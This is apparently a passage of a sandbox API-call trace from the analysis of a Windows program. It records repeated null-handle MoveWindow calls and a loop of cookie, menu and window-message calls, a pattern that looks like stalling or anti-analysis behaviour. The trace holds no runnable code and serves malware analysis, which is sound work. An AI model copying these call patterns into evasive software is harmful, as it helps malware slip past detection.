	[0078.938] LoadImageA (hInst=0x2a0000, name=0x1629, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0
	[0078.942] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0
	[0078.942] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0078.942] LoadImageA (hInst=0x2a0000, name=0x1629, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0
	[0078.942] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0
	[0078.942] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0078.942] LoadImageA (hInst=0x2a0000, name=0x1629, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0
	[0078.942] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0
	[0078.943] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x1) returned 0x2c814b8
	[0078.943] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x2) returned 0x2c814c8
	[0078.943] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814b8 | out: hHeap=0x2c80000) returned 1
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.943] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.944] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.945] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.946] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.947] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.948] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0
	[0078.949] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.949] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.951] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.951] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.951] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.951] GetMenuCheckMarkDimensions () returned 983055
	[0078.951] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.959] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x6, lParam=0xe01e1629) returned 0x0
	[0078.959] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.959] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.959] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.959] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.959] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.959] GetMenuCheckMarkDimensions () returned 983055
	[0078.959] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.960] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.960] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.960] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.960] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.960] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.960] GetMenuCheckMarkDimensions () returned 983055
	[0078.960] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.960] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.960] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.960] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.960] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.960] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.960] GetMenuCheckMarkDimensions () returned 983055
	[0078.960] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.960] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.960] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.960] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.960] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.960] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.960] GetMenuCheckMarkDimensions () returned 983055
	[0078.960] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.960] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.960] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.960] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.960] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.960] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.960] GetMenuCheckMarkDimensions () returned 983055
	[0078.960] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.960] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.961] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.961] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.961] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.961] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.961] GetMenuCheckMarkDimensions () returned 983055
	[0078.961] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.961] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.961] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.961] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.961] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.961] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.961] GetMenuCheckMarkDimensions () returned 983055
	[0078.961] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.961] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.961] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.961] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.961] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.961] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.961] GetMenuCheckMarkDimensions () returned 983055
	[0078.961] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.961] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.961] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.961] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.961] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.961] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.961] GetMenuCheckMarkDimensions () returned 983055
	[0078.961] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.961] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.961] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.961] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.961] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.962] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.962] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.962] GetMenuCheckMarkDimensions () returned 983055
	[0078.962] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.962] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.962] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.962] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.962] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.962] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.962] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.962] GetMenuCheckMarkDimensions () returned 983055
	[0078.962] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.962] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.962] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.962] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.962] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.962] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.962] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.962] GetMenuCheckMarkDimensions () returned 983055
	[0078.962] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.962] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.962] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.962] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.962] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.963] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.963] GetMenuCheckMarkDimensions () returned 983055
	[0078.963] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.963] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.963] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.963] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.963] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.963] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.963] GetMenuCheckMarkDimensions () returned 983055
	[0078.963] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.963] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.963] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.963] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.963] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.963] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.963] GetMenuCheckMarkDimensions () returned 983055
	[0078.963] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.963] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.963] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.963] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.963] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.963] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.963] GetMenuCheckMarkDimensions () returned 983055
	[0078.963] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.963] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.963] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.963] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.963] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.963] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.963] GetMenuCheckMarkDimensions () returned 983055
	[0078.963] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.964] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.964] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
